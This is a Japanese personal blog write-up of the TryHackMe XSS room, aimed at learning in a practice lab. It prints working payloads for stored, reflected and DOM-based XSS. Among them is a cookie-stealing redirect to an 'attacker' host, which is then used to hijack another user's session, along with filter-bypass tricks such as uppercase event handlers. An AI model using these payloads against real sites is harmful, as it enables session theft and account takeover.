TryHackMe

XSS(Cross-site Scripting)ルームのWriteUP[TryHackMe]

こんにちは、のみぞうです。最近仕事でXSSに関わることがあったので復習がてらルーム攻略しつつWriteUP書きます。

ポチッとするだけでやられサイトがデプロイされました。ほんと便利。

回答が必要ないところは飛ばしていきます。

Task 3 Stored XSS

Web掲示板などの、利用者が投稿ができる系のサイトの脆弱性を利用して攻撃用Javascriptを仕込むやり方を Stored XSSとよびます(日本語だと持続型XSSって言ったりしますね)それをやってみよーというタスク。

Add a comment and see if you can insert some of your own HTML.Doing so will reveal the answer to this question.

まずはHTMLタグが挿入可能かを確認する。こういうときは<hr>タグを使うと良いって(短いから)どっかの勉強会で教えてもらった。

Create an alert popup box appear on the page with your document cookies

document.cookieを読み出せってことなのでこれを投稿する

<script>alert(document.cookie)</script>

Change “XSS Playground” to “I am a hacker” by adding comments and using Javascript.

document.querySelectorっていうのを使うとXSSを使って任意の要素を書き換えることができる(Stored XSSの項目の中に入っているけどそういうのはDOM-Based XSSではないの?いまいち区別がわからん)

ソースを見てタイトルのところのid名を調べる

攻撃ペイロードはこうなる

<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>

参考にさせていただいたページ

Take over Jack’s account by stealing his cookie, what was his cookie value?

Jackのクッキーを窃取せよというお題。これ↓でアタッカーのサーバに攻撃踏んだ人のCookieが飛んでいくよ。とのこと。

<script>window.location='http://attacker/?cookie='+document.cookie</script>

でもこのサンプルコード自分で攻撃サーバ建てるの?SOPの制限にひっかからないの???と混乱してしばらく悩んでいた。

ヒント見たらログページというのが準備されてますよと書いてあって脱力。ちゃんと読みましょう。

/logにアクセスするとログが残るようになってるらしい。ということでペイロードはこうなる。

<script>window.location='http://<マシンのIPアドレス>/log/'+document.cookie</script>

投稿してちょっと待つとJackらしきアクセスがくる

Post a comment as Jack.

Jackとしてコメントせよ!取得したCookieの値をコピペでconnect.sidの値に入れる。

そのままだとさっき自分が挿入したスクリプトのせいでリダイレクトしてしまって落ち着いて投稿ができないので、ブラウザ側でJavascriptを切ってから掲示板に戻って投稿した。また使うと思うので終わったら設定を元に戻そう。

参考にさせていただいたページ

Task 4 Reflected XSS

攻撃用Javascriptが、攻撃対象サイトとは別のサイト(罠サイトやメールのURL)にある場合をReflected XSS(反射型XSS)って呼びます。攻撃者はパラメータとしてJavaScriptを含む罠サイトのリンクを踏ませて攻撃対象サイトで実行させます。

サンプルスクリプト

http://example.com/search?keyword=<script>...</script>

Craft a reflected XSS payload that will cause a popup saying “Hello”

サンプルスクリプトを改変してペイロード書く。これを適当にブラウザのアドレスバーに貼り付けると反射型XSSが成功する。

http://<マシンのIPアドレス>/reflected?keyword=<script>alert('Hello')</script>

Craft a reflected XSS payload that will cause a popup with your machines IP address.

IPアドレスを返すようにペイロードを修正する

http://<マシンのIPアドレス>/reflected?keyword=<script>alert(window.location.hostname)</script>

Task 5 DOM-Based XSS

WebアプリケーションでXSSができてそれがJavascriptによりDOMに関わるメソッドを呼び出している箇所だとDOM Based XSSと呼ぶ。ペイロードは脆弱なJavascriptコードがロードまたは操作された場合にのみ実行される。

サンプルスクリプト

var keyword = document.querySelector('#search')
keyword.innerHTML = <script>...</script>

Look at the deployed machines DOM-Based XSS page source code, and figure out a way to exploit it by executing an alert with your cookies.

ソースを見ると丁寧に書いてあった

フォームに入力した内容がsrcの中にそのまま入るのでそれを利用できる

ペイロードを組み立てる

hoge" onmouseover="alert(document.cookie)"

実行後にimageのあたりをマウスオーバーするとJavascriptが実行される。

Create an onhover event on an image tag, that change the background color of the website to red.

やり方↑と同じだけどonhoverイベントってのがよくわからなかった。onmouseoverじゃないの?と思って迷ってたけど結局これで良かったらしい

hoge" onmouseover="document.body.style.backgroundColor = 'red';

redのところを#f00ってしててフラグが取れないー???と悩んでしまった。色名指定しやがって…くっ…

Task 8 Filter Evasion

普通は悪意のあるペイロードをフィルタしていることが多いですが、回避する方法もあるから学ぼうね!バウンティの対象になってたりするよ!って話。

参考にさせていただいたページ

それぞれの条件でHelloってアラートを表示させなさいって課題。

Bypass the filter that removes any script tags.

スクリプトタグを使わない。

<img src/onerror=alert('Hello')>

The word alert is filtered, bypass it.

alertって言葉を使えない

<img src/onerror=prompt('hoge')>

The word hello is filtered, bypass it.

helloって言葉が使えない。2回書いたらどうなるの?と思って色々試してたらこれで通った。

 <img src="x" onerror="alert('HHello')">

Filtered is the following:

  • word “Hello”
  • script
  • onerror
  • onsubmit
  • onload
  • onmouseover
  • onfocus
  • onmouseout
  • onkeypress
  • onchange

なんか色々制限がある。しかし大文字だと通る

 <img src="x" ONERROR="alert('HHello')">

まとめ

  • XSSにはStored/Reflected/DOM-Basedの3種類の分類がある
  • CTFとかだとalert表示させるだけのことが多いけど、実はポートスキャンとかキーロガーとか色んなことができる
  • フィルタしてるから安心!と思っててもそれなりにバイパスする方法はいろいろある

少しでもお役に立てれば嬉しいです。では今回はこのへんで。